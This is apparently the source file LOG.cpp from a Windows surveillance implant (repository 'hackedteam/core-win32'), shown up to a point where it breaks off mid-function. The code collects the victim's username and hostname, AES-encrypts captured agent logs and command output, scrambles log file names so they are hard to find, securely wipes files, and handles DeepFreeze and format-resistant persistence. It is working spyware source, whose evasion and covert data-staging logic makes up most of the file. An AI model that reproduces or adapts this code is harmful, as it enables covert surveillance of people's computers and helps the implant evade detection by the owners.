hackedteam/core-win32

View on GitHub
LOG.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include <time.h>
#include <stdio.h>
#include "common.h"
#include "ASP.h"
#include "LOG.h"
#include "H4-DLL.h"
#include "aes_alg.h"
#include "sha1.h"
#include "md5.h"
#include "explore_directory.h"
#include "x64.h"
#include "JSON\JSON.h"
#include "UnHookClass.h"
#include "DeepFreeze.h"
#include "format_resistant.h"

extern BOOL IsDriverRunning(WCHAR *driver_name);
extern char SHARE_MEMORY_READ_NAME[MAX_RAND_NAME];

typedef struct {
    DWORD agent_tag;
    HANDLE h_file;
} log_entry_struct;

typedef struct log_list {
    nanosec_time ftime;
    char *file_name;
    DWORD size;
    struct log_list* next;
} log_list_struct;

log_list_struct *log_list_head = NULL;

//
// Struttura dei log file
//
// C'e' una dword in chiaro che indica: sizeof(LogStruct) + uDeviceIdLen + uUserIdLen + uSourceIdLen + uAdditionalData
typedef struct _LogStruct{
    UINT uVersion;            // Versione della struttura
        #define LOG_VERSION    2008121901
    UINT uLogType;            // Tipo di log
    UINT uHTimestamp;        // Parte alta del timestamp
    UINT uLTimestamp;        // Parte bassa del timestamp
    UINT uDeviceIdLen;        // IMEI/Hostname len
    UINT uUserIdLen;        // IMSI/Username len
    UINT uSourceIdLen;        // Numero del caller/IP len    
    UINT uAdditionalData;    // Lunghezza della struttura addizionale, se presente
}LogStruct, *pLogStruct;

#define NO_TAG_ENTRY 0xFFFFFFFF
#define MAX_LOG_ENTRIES 70
#define MIN_CREATION_SPACE 307200 // Numero di byte che devono essere rimasti per creare ancora nuovi file di log
log_entry_struct log_table[MAX_LOG_ENTRIES];

// Dichiarato in SM_EventHandlers.h
extern BOOL IsGreaterDate(nanosec_time *, nanosec_time *);
extern BOOL IsNewerDate(FILETIME *date, FILETIME *dead_line);

// Dichiarato in SM_ActionFunctions.h
extern BOOL WINAPI DA_Execute(BYTE *command);

// In BitmapCommon
extern void BmpToJpgLog(DWORD agent_tag, BYTE *additional_header, DWORD additional_len, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality);
typedef void (WINAPI *conf_callback_t)(JSONObject, DWORD counter);
extern BOOL HM_ParseConfGlobals(char *conf, conf_callback_t call_back);

extern aes_context crypt_ctx; // Dichiarata in shared
extern aes_context crypt_ctx_conf; // Dichiarata in shared

extern BYTE crypt_key[KEY_LEN]; // Dichiarata in shared
extern BYTE crypt_key_conf[KEY_LEN]; // Dichiarata in shared

BOOL log_wipe_file = FALSE; // Indica se sovrascrive un file prima di cancellarlo
DWORD min_disk_free = 0;    // Spazio minimo che deve rimanere su disco (configurabile)
DWORD max_disk_full = 0;    // Spazio massimo occupabile dai log
extern DWORD log_free_space; // Dichiarata nel segmento shared
extern DWORD log_active_queue;

extern BOOL IsDeepFreeze();

#define LOG_SIZE_MAX ((DWORD)1024*1024*100) //100MB
DWORD GetLogSize(char *path)
{
    DWORD hi_dim=0, lo_dim=0;
    HANDLE hfile;

    hfile = FNC(CreateFileA)(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hfile == INVALID_HANDLE_VALUE) 
        return 0xFFFFFFFF;
    lo_dim = FNC(GetFileSize)(hfile, &hi_dim);
    CloseHandle(hfile);
    if (lo_dim == INVALID_FILE_SIZE || hi_dim>0)
        return 0xFFFFFFFF;
    return lo_dim;
}

// Inserisce un elemento nella lista dei log da spedire in ordine di tempo
BOOL InsertLogList(log_list_struct **log_list, WIN32_FIND_DATA *log_elem)
{
    log_list_struct *new_elem;

    // Alloca e inizializza il nuovo elemento
    if ( !(new_elem = (log_list_struct *)malloc(sizeof(log_list_struct))) )
        return FALSE;
    if ( !(new_elem->file_name = (char *)strdup(log_elem->cFileName)) ) {
        SAFE_FREE(new_elem);
        return FALSE;
    }
    new_elem->ftime.hi_delay = log_elem->ftCreationTime.dwHighDateTime;
    new_elem->ftime.lo_delay = log_elem->ftCreationTime.dwLowDateTime;
    new_elem->size = log_elem->nFileSizeLow;

    // Cerca l'elemento dove va inserito
    while (*log_list) {
        // Se abbiamo trovato il posto giusto si ferma
        if (!IsGreaterDate(&(new_elem->ftime), &((*log_list)->ftime)))
            break;
        // Continua a scorrere la lista
        log_list = &( (*log_list)->next );
    }

    new_elem->next = *log_list;
    *log_list = new_elem;
    
    return TRUE;
}

// Libera la lista dei log
void FreeLogList(log_list_struct **log_list)
{
    log_list_struct *list_ptr, *tmp_ptr;
    list_ptr = *log_list;
    while(list_ptr) {
        SAFE_FREE(list_ptr->file_name);
        tmp_ptr = list_ptr->next;
        SAFE_FREE(list_ptr);
        list_ptr = tmp_ptr;
    }
    *log_list = NULL;
}

// Fa una pausa random in un intervallo (in secondi)
#define MAX_SLEEP_PAUSE 10
void LOG_SendPause(DWORD min_sleep, DWORD max_sleep)
{
    DWORD sleep_time;

    if (min_sleep > MAX_SLEEP_PAUSE)
        min_sleep = MAX_SLEEP_PAUSE;

    if (max_sleep > MAX_SLEEP_PAUSE)
        max_sleep = MAX_SLEEP_PAUSE;

    if (min_sleep > max_sleep || max_sleep == 0)
        return;

    srand((DWORD)time(NULL));
    rand();
    sleep_time = (((double)rand()/(double)RAND_MAX) * (max_sleep-min_sleep) + min_sleep);
    sleep_time*=1000;
    Sleep(sleep_time);
}

// Inizializza la chiave di cifratura.
void LOG_InitCryptKey(BYTE *crypt_material, BYTE *crypt_material_conf)
{
    // Chiave per i log
    memcpy(crypt_key, crypt_material, KEY_LEN);
    aes_set_key( &crypt_ctx, crypt_material, KEY_LEN*8 );

    // Chiave per la conf
    memcpy(crypt_key_conf, crypt_material_conf, KEY_LEN);
    aes_set_key( &crypt_ctx_conf, crypt_material_conf, KEY_LEN*8 );
}

void WINAPI ParseGlobalsQuota(JSONObject conf_json, DWORD dummy)
{
    JSONObject quota;
    
    if (!conf_json[L"quota"]->IsObject())
        return;

    quota = conf_json[L"quota"]->AsObject();
    min_disk_free = (DWORD) quota[L"min"]->AsNumber();
    max_disk_full = (DWORD) quota[L"max"]->AsNumber();
    log_wipe_file = (BOOL) conf_json[L"wipe"]->AsBool();
    SetFormatResistant(conf_json[L"format"]->AsBool());
}

// Legge la configuazione per i log
// (viene letto solo quando inizializza i log e
// non sulla ricezione di un nuovo file)
void UpdateLogConf()
{
    char *conf_memory;
    conf_memory = HM_ReadClearConf(H4_CONF_FILE);
    if (conf_memory)
        HM_ParseConfGlobals(conf_memory, &ParseGlobalsQuota);
    SAFE_FREE(conf_memory);    
}


// Sottrae due large integer (con a>b)
void LargeSubtract(const ULARGE_INTEGER *a,
                   const ULARGE_INTEGER *b,
                   ULARGE_INTEGER *result)
{
    if (a->LowPart >= b->LowPart) {
        result->LowPart = a->LowPart - b->LowPart;
        result->HighPart = a->HighPart - b->HighPart;
    } else {
        result->LowPart = (0xffffffff - b->LowPart);
        result->LowPart += 1 + a->LowPart;
        result->HighPart = a->HighPart - b->HighPart - 1;
    }
}


// Torna lo spazio destinato ai log.
// Il minimo spazio libero richiedibile e' massimo 4GB.
// Lo spazio occupabile dai log e' massimo 4GB.
DWORD LOG_CalcSpace(ULARGE_INTEGER *large_space, DWORD space_req)
{
    ULARGE_INTEGER large_req;
    ULARGE_INTEGER result;

    // Se lo spazio richiesto e' maggiore, ritorna 0
    if (large_space->HighPart == 0 && large_space->LowPart <= space_req)
        return 0;

    // Se lo spazio richiesto e' minore, sottrae
    large_req.HighPart = 0;
    large_req.LowPart = space_req;
    LargeSubtract(large_space, &large_req, &result);

    // Se il risultato e' > di 4GB, ritorna 4GB
    if (result.HighPart>0)
        return 0xFFFFFFFF;

    // Altrimenti torna la parte bassa
    return result.LowPart;
}

// Calcola la dimensione della directory di lavoro
// Se fallisce torna che la directory occupa 4GB
DWORD LOG_GetActualLogSize()
{
    DWORD log_total_size = 0xFFFFFFFF;
    char DirSpec[MAX_PATH];  
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    HM_CompletePath("*", DirSpec);
    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        log_total_size = 0;
        do {
            // Salta le directory (es: ".", ".." etc...)
            if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                continue;
            
            if (FindFileData.nFileSizeLow != INVALID_FILE_SIZE)
                log_total_size += FindFileData.nFileSizeLow;
        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }
    return log_total_size;
}

void LOG_InitSequentialLogs()
{
    DWORD i;

    // Inizializza la tabella dei log
    for (i=0; i<MAX_LOG_ENTRIES; i++) {
        log_table[i].agent_tag = NO_TAG_ENTRY;
        log_table[i].h_file = INVALID_HANDLE_VALUE;
    }
}

// Inizializza l'utilizzo dei log
void LOG_InitLog()
{
    ULARGE_INTEGER temp_free_space;
    char disk_path[DLLNAMELEN];
    DWORD temp_log_space;
    DWORD allowed_size1 = 0;
    DWORD allowed_size2 = 0;

    log_active_queue = 0;

    // Legge la configurazione dei log
    UpdateLogConf();

    LOG_InitSequentialLogs();

    // Inizializza lo spazio rimanente sul disco
    // dove e' la directory di lavoro
    // (min disk free)
    if (FNC(GetDiskFreeSpaceExA)(HM_CompletePath("", disk_path), NULL, NULL, &temp_free_space))
        allowed_size1 = LOG_CalcSpace(&temp_free_space, min_disk_free);    

    // Inizializza lo spazio ancora a disposizione per i log
    // (max disk full)
    temp_log_space = LOG_GetActualLogSize();
    if (max_disk_full >= temp_log_space)
        allowed_size2 = max_disk_full - temp_log_space;

    // Lo spazio libero e' la condizione piu' stringente
    // fra le due sopra
    // (se qualcosa va storto log_free_space = 0)
    if (allowed_size1 < allowed_size2)
        log_free_space = allowed_size1;
    else
        log_free_space = allowed_size2;
}


// Crea l'header per il nuovo formato di log
// l'header poi va LIBERATO!
BYTE *Log_CreateHeader(DWORD agent_tag, BYTE *additional_data, DWORD additional_len, DWORD *out_len)
{
    FILETIME tstamp;
    WCHAR user_name[256];
    WCHAR host_name[256];
    DWORD header_len;
    DWORD padded_len;
    BYTE iv[BLOCK_LEN];
    BYTE *final_header, *ptr;
    LogStruct log_header;

    if (out_len)
        *out_len = 0;

    // Calcola i campi da mettere nell'header
    memset(user_name, 0, sizeof(user_name));
    memset(host_name, 0, sizeof(host_name));
    user_name[0]=L'-';
    host_name[0]=L'-';
    FNC(GetEnvironmentVariableW)(L"USERNAME", (WCHAR *)user_name, sizeof(user_name)/2-2);    
    FNC(GetEnvironmentVariableW)(L"COMPUTERNAME", (WCHAR *)host_name, sizeof(host_name)/2-2);
    FNC(GetSystemTimeAsFileTime)(&tstamp);

    // Riempie l'header
    log_header.uDeviceIdLen = wcslen(host_name)*sizeof(WCHAR);
    log_header.uUserIdLen   = wcslen(user_name)*sizeof(WCHAR);
    log_header.uSourceIdLen = 0;
    if (additional_data) 
        log_header.uAdditionalData = additional_len;
    else
        log_header.uAdditionalData = 0;
    log_header.uVersion = LOG_VERSION;
    log_header.uHTimestamp = tstamp.dwHighDateTime;
    log_header.uLTimestamp = tstamp.dwLowDateTime;
    log_header.uLogType = agent_tag;

    // Calcola la lunghezza totale dell'header e il padding
    header_len = sizeof(LogStruct) + log_header.uDeviceIdLen + log_header.uUserIdLen + log_header.uSourceIdLen + log_header.uAdditionalData;
    padded_len = header_len;
    if (padded_len % BLOCK_LEN) {
        padded_len /= BLOCK_LEN;
        padded_len++;
        padded_len *= BLOCK_LEN;
    }
    padded_len += sizeof(DWORD);
    if (padded_len < header_len)
        return NULL;
    final_header = (BYTE *)malloc(padded_len);
    if (!final_header)
        return NULL;
    ptr = final_header;

    // Scrive l'header
    header_len = padded_len - sizeof(DWORD);
    memcpy(ptr, &header_len, sizeof(DWORD));
    ptr += sizeof(DWORD);
    memcpy(ptr, &log_header, sizeof(log_header));
    ptr += sizeof(log_header);
    memcpy(ptr, host_name, log_header.uDeviceIdLen);
    ptr += log_header.uDeviceIdLen;
    memcpy(ptr, user_name, log_header.uUserIdLen);
    ptr += log_header.uUserIdLen;
    if (additional_data)
        memcpy(ptr, additional_data, additional_len);

    // Cifra l'header (la prima DWORD e' in chiaro)
    memset(iv, 0, sizeof(iv));
    aes_cbc_encrypt(&crypt_ctx, iv, final_header+sizeof(DWORD), final_header+sizeof(DWORD), padded_len-sizeof(DWORD));
    if (out_len)
        *out_len = padded_len;
    
    return final_header;
}


void PrintBinary(WORD number, char *output)
{
    DWORD i = 0;
    sprintf(output, "0000000000000000");
    while (number) {
        if (number & 1)
            output[i] = '1';
        i++;
        number >>= 1;
    }
}

// Inizializza l'uso dei log per un agente
// (non e' thread safe)
// Torna TRUE se ha successo
BOOL LOG_InitAgentLog(DWORD agent_tag)
{
    DWORD i;
    HANDLE h_file;
    char log_wout_path[128];
    char file_name[DLLNAMELEN];
    char binary_tag[64];
    char *scrambled_name;
    BOOL newly_created;

    // Controlla che il TAG non sia gia' presente
    for (i=0; i<MAX_LOG_ENTRIES; i++) 
        if (log_table[i].agent_tag == agent_tag)
            return TRUE;

    // Cerca una entry vuota e la riempie (solo se 
    // riesce ad aprire il file)
    for(i=0; i<MAX_LOG_ENTRIES; i++) 
        if (log_table[i].agent_tag == NO_TAG_ENTRY) {
            ZeroMemory(binary_tag, sizeof(binary_tag));
            PrintBinary(agent_tag, binary_tag);
            sprintf(log_wout_path, "%.1XLOG%s%s.log", log_active_queue, binary_tag, SHARE_MEMORY_READ_NAME);

            if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) )
                return FALSE;            
            HM_CompletePath(scrambled_name, file_name);
            SAFE_FREE(scrambled_name);

            h_file = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, 0, NULL);
            if (h_file == INVALID_HANDLE_VALUE) 
                return FALSE;
            if (GetLastError() == ERROR_ALREADY_EXISTS )
                newly_created = FALSE;
            else
                newly_created = TRUE;
            FNC(SetFilePointer)(h_file, 0, NULL, FILE_END);
            
            // Se e' un file nuovo, ci inserisc l'header
            if (newly_created) {
                DWORD out_len, dummy;
                BYTE *log_header;
                
                log_header = Log_CreateHeader(agent_tag, NULL, 0, &out_len);
                if (!log_header || log_free_space<out_len || !FNC(WriteFile)(h_file, log_header, out_len, &dummy, NULL)) {
                    CloseHandle(h_file);
                    SAFE_FREE(log_header);
                    FNC(DeleteFileA)(file_name);
                    return FALSE;
                }
                SAFE_FREE(log_header);
                if (log_free_space >= out_len)
                    log_free_space -= out_len;
                FNC(FlushFileBuffers)(h_file);
            }
            
            log_table[i].h_file = h_file;
            log_table[i].agent_tag = agent_tag;
            return TRUE;
        }

    return FALSE;
}


// Stoppa l'uso dei log per un agente
void LOG_StopAgentLog(DWORD agent_tag)
{
    DWORD i;

    // Cerca il TAG giusto
    for (i=0; i<MAX_LOG_ENTRIES; i++) 
        if (log_table[i].agent_tag == agent_tag) {
            log_table[i].agent_tag = NO_TAG_ENTRY;
            CloseHandle(log_table[i].h_file);
            log_table[i].h_file = INVALID_HANDLE_VALUE;
            return;
        }
}


// Offusca un log. Ritorna il buffer cifrato (che andra' liberato)
// Compatibile con il nuovo formato di file
BYTE *LOG_Obfuscate(BYTE *buff, DWORD buff_len, DWORD *crypt_len)
{
    DWORD *ptr;       // Indice nel buffer cifrato
    BYTE *crypt_buff;
    DWORD tot_len;
    DWORD i;
    BYTE iv[BLOCK_LEN];

    // Il buffer sara' composto cosi':
    // DWORD original_len (in chiaro)
    // buffer (cifrato)
    // padding (in modo che tutto sia multiplo di 16 byte)
    tot_len = buff_len;
    if (tot_len % BLOCK_LEN) {
        tot_len /= BLOCK_LEN;
        tot_len++;
        tot_len *= BLOCK_LEN;
    }
    tot_len += sizeof(DWORD);

    // Check overflow
    if (tot_len < buff_len)
        return NULL;

    // Alloca il buffer
    crypt_buff = (BYTE *)malloc(tot_len);
    if (!crypt_buff)
        return NULL;

    *crypt_len = tot_len;

    // Copia la lunghezza originale 
    ptr = (DWORD *)crypt_buff;
    *ptr = buff_len;
    ptr++;

    // Copia il buffer in chiaro (rimarranno dei byte di padding
    // inutilizzati).
    memcpy(ptr, buff, buff_len);
    memset(iv, 0, sizeof(iv));

    // Cifra tutto il blocco
    aes_cbc_encrypt(&crypt_ctx, iv, (BYTE *)ptr, (BYTE *)ptr, tot_len-sizeof(DWORD));

    return crypt_buff;
}


// Scrive un a entry nel file di log corrispondente
BOOL LOG_ReportLog(DWORD agent_tag, BYTE *buff, DWORD buff_len)
{
    DWORD i;
    
    // Cerca il TAG giusto
    for (i=0; i<MAX_LOG_ENTRIES; i++) 
        if (log_table[i].agent_tag == agent_tag) 
            return Log_WriteFile(log_table[i].h_file, buff, buff_len);

    return FALSE;
}


// Effettua lo scrambling e il descrimbling di una stringa
// Ricordarsi di liberare la memoria allocata
// E' Thread SAFE
char *LOG_ScrambleName(char *string, BYTE scramble, BOOL crypt)
{
    char alphabet[ALPHABET_LEN]={'_','B','q','w','H','a','F','8','T','k','K','D','M',
                                 'f','O','z','Q','A','S','x','4','V','u','X','d','Z',
                                 'i','b','U','I','e','y','l','J','W','h','j','0','m',
                                 '5','o','2','E','r','L','t','6','v','G','R','N','9',
                                 's','Y','1','n','3','P','p','c','7','g','-','C'};                  
    char *ret_string;
    DWORD i,j;

    if ( !(ret_string = _strdup(string)) )
        return NULL;

    // Evita di lasciare i nomi originali anche se il byte e' 0
    scramble%=ALPHABET_LEN;
    if (scramble == 0)
        scramble = 1;

    for (i=0; ret_string[i]; i++) {
        for (j=0; j<ALPHABET_LEN; j++)
            if (ret_string[i] == alphabet[j]) {
                // Se crypt e' TRUE cifra, altrimenti decifra
                if (crypt)
                    ret_string[i] = alphabet[(j+scramble)%ALPHABET_LEN];
                else
                    ret_string[i] = alphabet[(j+ALPHABET_LEN-scramble)%ALPHABET_LEN];
                break;
            }
    }
    return ret_string;
}

char *LOG_ScrambleName2(char *string, BYTE scramble, BOOL crypt)
{
    char alphabet[ALPHABET_LEN]={'a','_','q','T','w','B','H','W','K','F','D','M','k',                              
                                 'i','U','m','I','e','l','J','8','y','h','j','b','0',
                                 'f','4','z','Q','O','9','S','x','u','X','A','V','Z',
                                 '3','7','2','E','L','r','t','G','6','v','C','N','d',
                                 's','5','p','o','Y','n','1','c','g','P','R','-'};                  
    char *ret_string;
    DWORD i,j;

    if ( !(ret_string = _strdup(string)) )
        return NULL;

    // Evita di lasciare i nomi originali anche se il byte e' 0
    scramble%=ALPHABET_LEN;
    if (scramble == 0)
        scramble = 1;

    for (i=0; ret_string[i]; i++) {
        for (j=0; j<ALPHABET_LEN; j++)
            if (ret_string[i] == alphabet[j]) {
                // Se crypt e' TRUE cifra, altrimenti decifra
                if (crypt)
                    ret_string[i] = alphabet[(j+scramble)%ALPHABET_LEN];
                else
                    ret_string[i] = alphabet[(j+ALPHABET_LEN-scramble)%ALPHABET_LEN];
                break;
            }
    }
    return ret_string;
}

// --- Funzioni per far creare file agli agenti ---
// DEVONO ESSERE TUTTE THREAD SAFE

// Crea un file di log col nuovo formato
HANDLE Log_CreateFile(DWORD agent_tag, BYTE *additional_header, DWORD additional_len)
{
    char log_wout_path[128];
    char file_name[DLLNAMELEN];
    char *scrambled_name;
    FILETIME time_nanosec;
    DWORD out_len, dummy;
    BYTE *log_header;
    HANDLE hfile;
#define MAX_FILE_RETRY_COUNT 20
    DWORD retry_count = 0;

    // Controlla che ci sia ancora spazio per scrivere su disco
    // (additional_len e' l'unica parte di lunghezza variabile dell'header)
    if (log_free_space <= MIN_CREATION_SPACE + additional_len) 
        return INVALID_HANDLE_VALUE;

    // Usa l'epoch per dare un nome univoco al file
    FNC(GetSystemTimeAsFileTime)(&time_nanosec);    

    // Fa piu' tentativi ogni volta cambiando il nome del file
    // data la scarsa granularita' del systemtime
    do {
        retry_count++;
        if (retry_count > MAX_FILE_RETRY_COUNT)
            return INVALID_HANDLE_VALUE;

        _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%.8X%.8X.log", log_active_queue, agent_tag, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
        if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) )
            return INVALID_HANDLE_VALUE;    
        HM_CompletePath(scrambled_name, file_name);
        SAFE_FREE(scrambled_name);

        hfile = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); 

        // Incrementa di 1 il timestamp se deve riprovare
        time_nanosec.dwLowDateTime++;
        if (time_nanosec.dwLowDateTime == 0) // il riporto
            time_nanosec.dwHighDateTime++;
    } while (hfile == INVALID_HANDLE_VALUE);

    // Scrive l'header nel file
    log_header = Log_CreateHeader(agent_tag, additional_header, additional_len, &out_len);
    if (!log_header || log_free_space<out_len || !FNC(WriteFile)(hfile, log_header, out_len, &dummy, NULL)) {
        SAFE_FREE(log_header);
        CloseHandle(hfile);
        FNC(DeleteFileA)(file_name);
        return INVALID_HANDLE_VALUE;
    }
    SAFE_FREE(log_header);
    // ...e sottrae dalla quota disco
    if (log_free_space >= out_len)
        log_free_space -= out_len;
    FNC(FlushFileBuffers)(hfile);

    return hfile;
}

// Usato per l'output dei comandi
// N.B. Non sottrae quota disco!
HANDLE Log_CreateOutputFile(char *command_name)
{
    char log_wout_path[128];
    char file_name[DLLNAMELEN];
    char *scrambled_name;
    FILETIME time_nanosec;
    DWORD out_len, dummy;
    BYTE *log_header;
    HANDLE hfile;
    SECURITY_ATTRIBUTES sa;

    // Controlla che ci sia ancora spazio per scrivere su disco
    if (log_free_space <= MIN_CREATION_SPACE) 
        return INVALID_HANDLE_VALUE;

    // Usa l'epoch per dare un nome univoco al file
    FNC(GetSystemTimeAsFileTime)(&time_nanosec);    

    _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "OUTF%.8X%.8X.log", time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
    if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) )
        return INVALID_HANDLE_VALUE;    
    HM_CompletePath(scrambled_name, file_name);
    SAFE_FREE(scrambled_name);

    sa.bInheritHandle = TRUE;
    sa.nLength = 0;
    sa.lpSecurityDescriptor = NULL;
    hfile = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); 
    if (hfile == INVALID_HANDLE_VALUE)
        return INVALID_HANDLE_VALUE;

    // Scrive l'header nel file
    log_header = Log_CreateHeader(PM_COMMANDEXEC, (BYTE *)command_name, strlen(command_name) + 1, &out_len);
    if (!log_header || log_free_space<out_len || !FNC(WriteFile)(hfile, log_header, out_len, &dummy, NULL)) {
        SAFE_FREE(log_header);
        CloseHandle(hfile);
        FNC(DeleteFileA)(file_name);
        return INVALID_HANDLE_VALUE;
    }
    SAFE_FREE(log_header);
    FNC(FlushFileBuffers)(hfile);

    return hfile;
}


// Chiude un file di log
void Log_CloseFile(HANDLE handle)
{
    if (handle != INVALID_HANDLE_VALUE)
        CloseHandle(handle);
}


// Cancella tutti i file di log
void Log_RemoveFiles()
{
    char log_file[DLLNAMELEN];
    WIN32_FIND_DATA FindFileData;
    char DirSpec[MAX_PATH];  
    HANDLE hFind = INVALID_HANDLE_VALUE;

    // Cerca tutti i file nella directory di lavoro tranne
    // il core e il file di configurazione
    HM_CompletePath("*", DirSpec);
    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            // Salta le directory (es: ".", ".." etc...)
            if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                continue;

            // Cancella i file che non sono il core o il file di conf
            if (stricmp(FindFileData.cFileName, H4DLLNAME) && stricmp(FindFileData.cFileName, H4_CONF_FILE))
                HM_WipeFileA(HM_CompletePath(FindFileData.cFileName, log_file));
        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }
}


// Salva lo stato di un agente
BOOL Log_SaveAgentState(DWORD agent_tag, BYTE *conf_buf, DWORD conf_len)
{
    char conf_name[128];
    char conf_path[DLLNAMELEN];
    char *scrambled_name;
    HANDLE hf;
    DWORD dwWrt = 0;

    // Il formato del nome e' ACFG<agent>.bin
    _snprintf_s(conf_name, sizeof(conf_name), _TRUNCATE, "ACFG%.4X.bin", agent_tag);
    if ( ! (scrambled_name = LOG_ScrambleName2(conf_name, crypt_key[0], TRUE)) ) 
        return FALSE;
    
    HM_CompletePath(scrambled_name, conf_path);
    SAFE_FREE(scrambled_name);

    hf = FNC(CreateFileA)(conf_path, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 
    if (hf == INVALID_HANDLE_VALUE)
        return FALSE;

    // Verifica che abbia scritto tutto
    if (!FNC(WriteFile)(hf, conf_buf, conf_len, &dwWrt,  NULL) || dwWrt!=conf_len) {
        CloseHandle(hf);
        return FALSE;
    }

    CloseHandle(hf);
    return TRUE;
}

// Carica lo stato di un agente
BOOL Log_RestoreAgentState(DWORD agent_tag, BYTE *conf_buf, DWORD conf_len)
{
    char conf_name[128];
    char conf_path[DLLNAMELEN];
    char *scrambled_name;
    HANDLE hf;
    DWORD dwRd = 0;

    // Il formato del nome e' ACFG<agent>.bin
    _snprintf_s(conf_name, sizeof(conf_name), _TRUNCATE, "ACFG%.4X.bin", agent_tag);
    if ( ! (scrambled_name = LOG_ScrambleName2(conf_name, crypt_key[0], TRUE)) ) 
        return FALSE;
    
    HM_CompletePath(scrambled_name, conf_path);
    SAFE_FREE(scrambled_name);

    hf = FNC(CreateFileA)(conf_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
    if (hf == INVALID_HANDLE_VALUE)
        return FALSE;

    // Verifica che abbia scritto tutto
    if (!FNC(ReadFile)(hf, conf_buf, conf_len, &dwRd,  NULL) || dwRd!=conf_len) {
        CloseHandle(hf);
        return FALSE;
    }

    CloseHandle(hf);
    return TRUE;
}



// Copia il file in modo offuscato (aggiornando la quota
// disco anche in caso di sovrascritture).
#define CRYPT_COPY_BUF_LEN 102400
BOOL Log_CryptCopyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD agent_tag)
{
    HANDLE hsrc, hdst;
    BY_HANDLE_FILE_INFORMATION dst_info;
    DWORD existent_file_size = 0;
    DWORD dwRead;
    BYTE *temp_buff;
    BYTE *file_additional_data;
    BYTE *log_file_header;
    FileAdditionalData *file_additiona_data_header;
    DWORD header_len;
    WCHAR *to_display;

    if (display_name)
        to_display = display_name;
    else
        to_display = src_path;

    // Crea l'header da scrivere nel file
    if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
        return FALSE;
    file_additiona_data_header = (FileAdditionalData *)file_additional_data;
    file_additiona_data_header->uVersion = LOG_FILE_VERSION;
    file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
    memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);
    log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len);
    SAFE_FREE(file_additional_data);
    if (!log_file_header)
        return FALSE;
    

    // Prende le info del file destinazione (se esiste)
    hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hdst != INVALID_HANDLE_VALUE) {
        if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) {
            existent_file_size = dst_info.nFileSizeLow;
        }
        CloseHandle(hdst);
    }

    if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) {
        SAFE_FREE(log_file_header);
        return FALSE;
    }

    hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hsrc == INVALID_HANDLE_VALUE) {
        SAFE_FREE(log_file_header);
        SAFE_FREE(temp_buff);
        return FALSE;
    }

    // Controlla che ci sia ancora spazio per scrivere su disco
    if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) {
        SAFE_FREE(temp_buff);
        SAFE_FREE(log_file_header);
        CloseHandle(hsrc);
        return FALSE;
    }

    hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
    if (hdst == INVALID_HANDLE_VALUE) {
        SAFE_FREE(log_file_header);
        SAFE_FREE(temp_buff);
        CloseHandle(hsrc);
        return FALSE;
    }
    // Se il file e' stato sovrascritto (e con successo) restituisce la quota disco
    // recuperata.
    log_free_space += existent_file_size;

    // Scrive l'header nel file
    if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) {
        CloseHandle(hsrc);
        CloseHandle(hdst);
        SAFE_FREE(log_file_header);
        SAFE_FREE(temp_buff);
        return FALSE;
    }
    if (log_free_space >= header_len)
        log_free_space -= header_len;
    SAFE_FREE(log_file_header);
    FNC(FlushFileBuffers)(hdst);

    // Cicla finche riesce a leggere (e/o a scrivere)
    LOOP {
        dwRead = 0;
